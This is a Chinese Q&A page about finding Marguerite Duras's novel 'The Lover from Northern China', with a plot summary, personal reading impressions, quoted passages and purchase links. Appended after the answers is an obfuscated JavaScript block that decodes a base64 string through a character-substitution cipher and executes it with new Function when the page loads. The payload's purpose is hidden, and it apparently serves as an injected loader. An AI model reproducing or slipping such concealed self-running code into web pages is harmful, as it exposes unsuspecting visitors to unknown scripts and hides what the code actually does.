寻找杜拉斯的《来自中国北方的情人》

2025-03-27 00:41:10
推荐回答(3个)
回答1:

图书简介: 一位越南出生、家境贫寒的法国女孩遇见了一位华侨巨贾之子,双双堕入爱河,演历了一场惊心动魄的极端爱情。然而这爱情却遭到各方面的阻挠。女孩所在的中学在家长的压力下几乎把她从学校赶出去。女孩的寡母在刚开始的时候也因对方是中国人而心存芥蒂,而中国情人的父亲更因对方是洋人,门不当户不对,不予应允,甚至以死相逼......

本书前言
杜拉斯在《序言》中说这部小说完全可以命名为《再写情人》,实际上这部重写的《情人》,成就更富于《情人》,是更深情的描写,更缠绵的叙说,不愧为杜拉斯的顶峰之作。
杜拉斯作为一个女人,你可以爱她,也可以恨她,而作为一个作家,她的艺术魅力则无可抵挡,是不配的......

杜拉斯-《来自中国北方的情人》- -

“我真没想到他竟会死,他的身躯、肌肤、生殖器、双手怎么会死去的啊。在这一年里,我仿佛回到了从前,回到了乘坐永隆的轮渡横渡犯公河的时代。”---作者自述

这本书是我读杜拉斯的第一本书。我有一张她的画像。那个长着酗酒面孔的女人。她被酒精和烟给摧毁了。包括她的寂寞,孤独。像黑暗中的深渊。只有无限的沉沦。

“我依然和这些人在一起,在这个故事里,只和他们在一起。”

能感觉到她的无奈和彷徨。

一个渴望爱的少女在金钱的胁迫下学会了背弃与出卖。那个被夺去的童贞的下午,她那混杂着泪水的欲望在潮湿的空气中涸开来,如一朵枯萎了的玫瑰在水里漂浮,而灵魂却没有了归宿。她的身体是那样的赢弱,眼睛里还闪烁着纯洁的光芒,在西贡的阳光里安静的等待。等待爱,等待美好,等待温暖.....那个中国男人潮湿的眼神,微微颤抖的手指,黝黑的皮肤,令人怜惜。他的内心充满了恐惶,在金钱的包围下显得那样不堪一击,他无法冲破阻隔去爱,他能得到的,仅仅是无数早已没有了灵魂的肉体。他或许也是一个不再相信爱情的男人。拥有的只是宿命的孤独。只是在那压抑的与湿润中窒息,想起那些关于爱情的下午与夜晚,心中有了隐隐的悲伤。越南的渡轮上,一名白种少女向着阳光微笑着,一名中国男人象她走来,内心充满了惶恐.....他们之间的爱情在肉欲的折磨与金钱的胁迫下,急速的膨胀,直到看不到彼此的眼睛,两人从此关系失去了方向,迷失在那片荒芜的土地上。我不知道该如何去爱,因为,我的眼里一片黑暗......

我们都明白,有些人很好,可无法在一起。

杜拉斯 《来自中国北方的情人》
我已经上了年纪,有一天,在一处公共场所的大厅里,有个男人朝我走过来。他在做了一番自我介绍之后对我说:“我始终认识您。大家都说您年轻的时候很漂亮,而我是想告诉您,依我看来,您现在比年轻的时候更漂亮,您从前那张少女的面孔远不如今天这副被毁坏的容颜更使我喜欢。”我常常忆起这个只有我自己还能回想起而从未向别人谈及的形象。它一直在那里,在那昔日的寂静之中,令我赞叹不止。这是所有形象中最使我惬意、也是我最熟悉、最为之心荡神驰的一个形象。
  
   情人的开头,一个苍老的声音缓缓的平静地说着这些话,像是在说别人的事。
  当十七岁的法国少女遇上三十岁的中国男人,眼神交汇的时候,暧昧开始在唇角指尖流转。生活极度困窘的她与压抑软弱的他在激情暴发之后,一发不可收拾。
   镜头里无数次重复着他们做爱的镜头。阴暗潮湿的小房间。昏黄的地板。空旷的床。白色的床单。纠缠着的身体。髋骨间的冲撞。模糊的容颜。迷乱空洞的眼神。从喉咙深处发出的叹息。
  她对自己说她爱的是他的钱,他对自己说他爱的是她的身体。
   日子就一天天在情欲中故去。
  在他不得不从父命结婚的时候,他强迫她说她爱的只是他的钱。她微笑的说着,我爱的只是你的钱。他轻轻推开她的身体,他说,我的身体拒绝没有爱的身体。
   时光渐渐黯淡下去
   他在船上撩开他的新嫁娘的盖头,人群开始喧闹起来。
  他的目光穿过人群,看到她坐在桥栏上,看他。神情依然甜美纯净。面容霎时苍老。他拥着他的新嫁娘走了,她依然观望。直至消失。
   她的母亲卖光了所有的财产,要带着她从越南回法国。她站在船的桅栏边,穿着初次见面时的灰色裙子,眼光看着岸边黑色的轿车。她知道他在里面,她也知道她不会再见到他。就像他们初次的见面一样。
   深夜的船上回荡着悠悠的琴声。她沿着扶梯走下船舱。在黑暗中她终于知道自己曾经爱过。她的眼泪终地流下来,瘦削的肩头在绝望中颤动。
  她知道他们不会再见。
  
   经历了结婚,产子,战乱,出版,有一天她接到他的电话。他说我爱你,不管是过去还是现在,并且将一直爱你爱到死。她的,来自中国北方的情人。

[原创]《来自中国北方的情人》

扉页只有三个字:献给唐
我想这是她爱过的人,在生命的最初,她所遭遇过的,给她幸福和疼痛的男子。她用了一辈子的时间来记住他。
他死了。在她已经年老,皱纹布满脸庞的时候,他先她而去了。

我从没有想到过他死。
我真没想到他竟会死,他的身躯、肌肤、生殖器、双手,怎么会死去的啊。在这一年里,我仿佛回到了从前,回到了乘坐永隆的轮渡横渡湄公河的时代。
我带着疯狂般的创作乐趣撰写此书。在这部小说中我徜徉了一年,沉湎在中国人和女孩相爱的那一年里。
——玛格丽特·杜拉斯

终于买到《情人》的原著《来自中国北方的情人》。在昏暗的公交车上,一颠一颠地看完了她为自己写的序。电影《情人》的画面,就像流水一样慢慢涌出来。那个年轻的少女,她身姿单薄瘦弱,她嵌满珠钉的旧凉鞋踩在船栏杆上。她带男式的宽边凉帽,编两条细细的麻花辫子。
那一年,她十五岁半。她沉默地观望远方,身后渐渐远去的是不愿再言说的疾苦与耻辱。
母亲说:“我已无力再承担。”
纯真简单的童年过往就是这样一去不返,我们回头,却失去寻找它们的线索,于是只能继续前行。

他说他爱她,他不愿骗她;这种疼痛以后不会再出现了,永远不会,他说这是真的,他向她发誓。
她让她闭上眼睛。
他说他这就要开始了,要占有她了。
他说,闭上眼睛吧,我的小姑娘。
她却说:不,我不闭上眼睛。
她说:什么都行,是的,就是不能闭上眼睛。

她常说她记得当时的恐惧。就像记得他的肌肤,他的温存,他随之也惊恐不安的温存。

她的文字那样的细腻,仿佛是发生在昨天的事情。有关那个男人的一切。在这么多年过去以后。可是我想,那是她生命的最初,这个黄皮肤的男人,她一再地写着他,他的声音、气味、温度,已经融进她的血液里,流淌在她生活的每一天。

而电影中的对白很少。大多数时候,他们什么也不说,甚至不经常对望,唯一接触的是肌肤。而语言是被禁忌掉的,被废弃、被压抑的。语言无法穿越时间。只有身体的温度能够抵达灵魂。
用了很长的一段描述离别,她站在邮船上,是他最初见到的样子:嵌满珠钉的旧凉鞋踩在船栏杆上。带男式的宽边凉帽,穿宽松的旧丝缎裙子,编两条细细的麻花辫子。
不知道在邮船渐渐离开码头的时候,伏在栏杆上的女孩看着岸上永远不会再见的男人。她内心的感觉。可是电影镜头上,只有她淡漠的眼神。
她只是看着他,什么也不说。

现在,当她终于提起笔来想要纪念的时候,他已经死了。她不知道他是否还记得几十年前的那个女孩,那个还没有发育完好的身体,和执拗的灵魂。他死了,从坐着渡轮离开的那一刻,或许她就知道,他们不会再有交集,而现在,她只是想做纪念,纪念她生命的过往,那时的青春年少,和一辈子的牵肠挂肚。

最后我想说,其实你到百度去搜索,输入书名,可以找到比我上面多得多的资料啊.既然你很喜欢这本书,那么我建议你去亲自看看吧

回答2:

http://www.welan.com/html/08/194308.Html

在这个网址上看看,可以网上购买。

在这里可以看到片段:http://www.backbird.com/dispbbs.asp?boardid=7&id=8792

回答3:

没听过这本书也~~~~~~~

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();